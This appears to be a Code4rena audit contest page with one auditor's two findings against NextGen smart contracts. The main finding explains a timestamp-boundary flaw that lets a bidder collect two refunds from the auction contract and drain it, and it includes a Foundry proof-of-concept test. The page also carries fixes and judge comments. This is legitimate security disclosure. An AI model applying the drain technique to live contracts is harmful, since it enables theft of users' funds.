Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 76/243
Findings: 2
Award: $35.61
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
The AuctionDemo contract allow user to participate in nft auctions, to start an auction admin have to call the mintAndAuction function in minter contract then users can call participateToAuction function in the AunctionDemo contract to participate.
Let´s go straight to the two problem that allow an attacker drain all the contract:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ ---> require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); ... } function cancelBid(uint256 _tokenid, uint256 index) public { ---> require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); ... } function cancelAllBids(uint256 _tokenid) public { ---> require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); ... }
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); ... for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { ----> (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
With that been said a malicious user have to:
The malicius user is get paid twice one for the refund of the claimAuction and one for the cancelation of the bid, this is onlyPossible if the owner of the nft that is in the auction had already give the approve to the auctionContract which is going to transferFrom the nft from the owner to the winner.
Malicious user can drain all the contract if he participate several times in a auction making sure that he win.
(https://gist.github.com/jorgect207/5731a1bdf59786930178ee580eed3448) The three files in the gist have to be copied in the test file of the nextgen repository and have to install foundry in the hardhat repository
Run the following test in the TestFoundry.sol:
function test_gettingPaidTwoTimes() public { test_setActuation(); vm.deal(user2, 1 ether); // user2 just have 1 ether vm.deal(user3, 100 ether); vm.deal(address(_DossContract), 100 ether); vm.prank(user2); _auctionDemo.participateToAuction{value: 1 ether}(30000000000); vm.prank(user3); _auctionDemo.participateToAuction{value: 3 ether}(30000000000); vm.warp(block.timestamp + 10 days); // forward time to exactly the end of the actuation. //aproving caller vm.prank(user1); _NextGenCore.approve(address(_auctionDemo), 30000000000); //claim auction _auctionDemo.claimAuction(30000000000); vm.prank(user2); _auctionDemo.cancelBid(30000000000, 0); uint256 balanceUser2 = user2.balance; assert(balanceUser2 == 2 ether); // balance is twice thant the first one }
This is a simplification of the attack in this proof of concept user get paid twice, this is only possible if the approve of the nft is already give to the auction contract which is pretty possible. this attack can be scalated to drain all the contract if the attacker participate several times in the auction.
In this cases i made user1
owner of the nft but it can be the admin as well (if he is the owner of the nft).
foundry, manual
I have to say that the claim function go again the good practices consider change to the pull patter, with that been said:
Change the time to claim the nft, insted of require(block.timestamp >= minter.getAuctionEndTime(_tokenid)
do this require(block.timestamp > minter.getAuctionEndTime(_tokenid)
.
When user is refund via claimAuction function change the status of the bid adding auctionInfoData[_tokenid][index].status = false;
.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid, this.claimAuction.selector) { require( ... for (uint256 i = 0; i < auctionInfoData[_tokenid].length; i++) { ... } else if (auctionInfoData[_tokenid][i].status == true) { -----> auctionInfoData[_tokenid][index].status = false; (bool success,) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
Other
#0 - c4-pre-sort
2023-11-14T15:40:29Z
141345 marked the issue as duplicate of #1904
#1 - c4-pre-sort
2023-11-14T23:31:31Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-01T15:46:57Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T15:47:06Z
alex-ppg marked the issue as duplicate of #1788
#4 - c4-judge
2023-12-08T18:17:06Z
alex-ppg marked the issue as satisfactory
35.614 USDC - $35.61
saleOption == 2 is used to give the below behavior of the price:
decreases exponentially every time period collectionPhases[_collectionId].timePeriod sets the time period for decreasing the mintcost if just public mint set the publicStartTime = allowlistStartTime if rate = 0 exponetialy decrease if rate is set the linear decrase each period per rate
The main problem is that the getPrice function is not entring in the salesOption==2 is the yime is equal to publicEndTime which is the last time in the mint.
User receive unfair price in the last time of the public mint due that the decreasing in price doesn´t apply.
file:2023-10-nextgen/smart-contracts/MinterContract.sol function getPrice(uint256 _collectionId) public view returns (uint256) { ... } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){ ... }
As you can see block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime)
the last time of the public mint the contract is not applying the decreasing but users can mint in this time:
file:2023-10-nextgen/smart-contracts/MinterContract.sol function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { ... } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) { ...} ... }
Manual review
Add the last time in the getPrice function :
function getPrice(uint256 _collectionId) public view returns (uint256) { ... } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){ ... }
Other
#0 - c4-pre-sort
2023-11-16T01:42:37Z
141345 marked the issue as duplicate of #1391
#1 - c4-judge
2023-12-08T21:41:50Z
alex-ppg marked the issue as partial-50